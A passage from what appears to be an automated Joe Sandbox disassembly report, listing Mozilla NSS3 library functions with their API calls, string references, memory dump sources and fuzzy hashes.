Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C761193), ref: 6C761D3D

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C761193), ref: 6C761D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C761193), ref: 6C761D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C761193), ref: 6C761D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C761193), ref: 6C761D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C761193), ref: 6C761D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761D93
PR_DestroyLock.NSS3(00000000,?,?,6C761193), ref: 6C761D9F
free.MOZGLUE(00000000,?,6C761193), ref: 6C761DA8

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction ID: 85b987fcfce732bd404d97219e18d5fa91ee99ced115377579d106a6781fb84d
Opcode Fuzzy Hash: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction Fuzzy Hash: 0831A6F1E007016BEB209F65ED45A6776E4AF0274DB044438E84A87F41FB31E518CB9A

Function 6C675E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C675ECF
EnterCriticalSection.KERNEL32(?), ref: 6C675EE3
PR_Unlock.NSS3(?), ref: 6C675F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C675FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6761F4
S&il, xrefs: 6C675E6C, 6C67627F, 6C675F12
S&il, xrefs: 6C6762E3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&il$S&il
API String ID: 2280678669-799787219
Opcode ID: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction ID: 72babd3dec1150e0d7e59fb28f89b766a4738306dc6d7f89be3ed7cd6f4321ee
Opcode Fuzzy Hash: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction Fuzzy Hash: BCF106B5A00215CFDB54CF28C884B86BBF4FF09304F1586AAD9089B746E774DA85CFA5

Function 6C6C0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ll), ref: 6C6C0C81

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

Part of subcall function 6C698500: SECOID_GetAlgorithmTag_Util.NSS3(6C6995DC,00000000,00000000,00000000,?,6C6995DC,00000000,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C698517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0CC4

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6C0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6C0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6C0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6C0D7D
free.MOZGLUE(00000000), ref: 6C6C0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0DC1
free.MOZGLUE(00000000), ref: 6C6C0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6C0E0F

Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995E0
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995F5
Part of subcall function 6C6995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C699609
Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C69961D
Part of subcall function 6C6995C0: PK11_GetInternalSlot.NSS3 ref: 6C69970B
Part of subcall function 6C6995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C699756
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?), ref: 6C699767
Part of subcall function 6C6995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C69977E
Part of subcall function 6C6995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C69978E

Strings

-$ll, xrefs: 6C6C0C64
*,ll, xrefs: 6C6C0DCC
*,ll, xrefs: 6C6C0C69, 6C6C0DE0, 6C6C0C80, 6C6C0C8B, 6C6C0CAF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ll$*,ll$-$ll
API String ID: 3136566230-2285576193
Opcode ID: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction ID: 989f0a31c556c2584ab16ee8ceb368326daa378d13eb2ffb1eeb58679e14f785
Opcode Fuzzy Hash: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction Fuzzy Hash: C641C0F1A01246ABEB009F64AC45BEF7AB4EF0530CF104424E91967741E735BA18CBEB

Function 6C6B5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6B5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6B5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6B5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6B5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6B5D80

Strings

multiaccess:, xrefs: 6C6B5CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6C6B5D1A
extern:, xrefs: 6C6B5CEA, 6C6B5D4B
dbm:, xrefs: 6C6B5D03, 6C6B5D60
sql:, xrefs: 6C6B5CD1, 6C6B5D36

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction ID: 4ff4066e98020141919391a073129acfe0af4377828fae0ad03100717c82ce2e
Opcode Fuzzy Hash: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction Fuzzy Hash: DA31F7A07413516BE7011A38EC49BEA37ECAF02349F144630EE55F6A82E772D521C39D

Function 6C6B6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C781DE0,?), ref: 6C6B6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6B6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6B6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6B6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6B6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6B6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6B6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6B6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6B7033
free.MOZGLUE(?), ref: 6C6B703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6B7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6B7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6B70AF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction ID: de297760b8e4570902a3f08134cf0cf4033cff3bd29828cb874390a473a00e34
Opcode Fuzzy Hash: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction Fuzzy Hash: 8FA129B19082019BEB188F24DC45B9B33A5DB8130CF244939F919EBB81E775D866C75B

Function 6C67AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF39
PR_Unlock.NSS3(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF69
TlsGetValue.KERNEL32 ref: 6C67B06B
EnterCriticalSection.KERNEL32(?), ref: 6C67B083
PR_Unlock.NSS3(?), ref: 6C67B0A4
TlsGetValue.KERNEL32 ref: 6C67B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C67B0D9
PR_Unlock.NSS3 ref: 6C67B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B182

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C67B177

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1C2

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction ID: c73c720e395a00100922ccd4b5ebd6714f69580e21471cf4aa05a7fbd812be4f
Opcode Fuzzy Hash: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction Fuzzy Hash: B2A1D1B1D00206ABEF109F64DC41BEEB7B4EF49308F144524E905A7712E732E959CBAA

Function 6C672C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?gl,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C62
EnterCriticalSection.KERNEL32(0000001C,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C76
PL_HashTableLookup.NSS3(00000000,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C93

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23), ref: 6C672CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672D4D
EnterCriticalSection.KERNEL32(?), ref: 6C672D61
PL_HashTableLookup.NSS3(?,?), ref: 6C672D71
PR_Unlock.NSS3(?), ref: 6C672D7E

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

#?gl, xrefs: 6C672C43

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?gl
API String ID: 2446853827-3528240498
Opcode ID: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction ID: 9ad7b14718b6e1c8ee91811fa165ace448525d4ee584b7cf5fde45cca95f9b67
Opcode Fuzzy Hash: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction Fuzzy Hash: B351E5B5D00605EBDB109F24DC458AA77B8FF1A35CB148930ED1897B11EB31E964C7E9

Function 6C6CAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CADB1

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6CADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6CAE08

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6CAE25
PL_FreeArenaPool.NSS3 ref: 6C6CAE63
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAE4D

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAE93
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAECC
PL_FreeArenaPool.NSS3 ref: 6C6CAEDE
PL_FinishArenaPool.NSS3 ref: 6C6CAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAEF5
PL_FinishArenaPool.NSS3 ref: 6C6CAF16

Strings

security, xrefs: 6C6CADEE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction ID: 30b04a4a87e8a1d094b011f1db4aa56e5b106d5621c01bb42be3d72708355082
Opcode Fuzzy Hash: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction Fuzzy Hash: 43413AB1A04304A7E7205B18EC49BAB72B8EF4630CF140625E914A2F42F735DA1AC7DF

Function 6C76AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C76AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C76AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C76AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C76AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C76B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B070
PR_JoinThread.NSS3(?), ref: 6C76B07B
free.MOZGLUE(?), ref: 6C76B084
EnterCriticalSection.KERNEL32(?), ref: 6C76B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B0C4
PR_JoinThread.NSS3(?), ref: 6C76B0F3
free.MOZGLUE(?), ref: 6C76B0FC
PR_JoinThread.NSS3(?), ref: 6C76B137
free.MOZGLUE(?), ref: 6C76B140

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction ID: f9ddc9833ab67dbbcbe1a80a245148f32037fe0ed269237f433b6ae319585ef8
Opcode Fuzzy Hash: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction Fuzzy Hash: 52916DB5900601DFCB04DF16C98494ABBF1FF8535872985A9E8195BF22E732FC46CB91

Function 6C6E5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2BF0
Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C07
Part of subcall function 6C6E2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C1E
Part of subcall function 6C6E2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C4A

free.MOZGLUE(?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D0F
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D4E
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D62
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D85
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D99
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5DFA
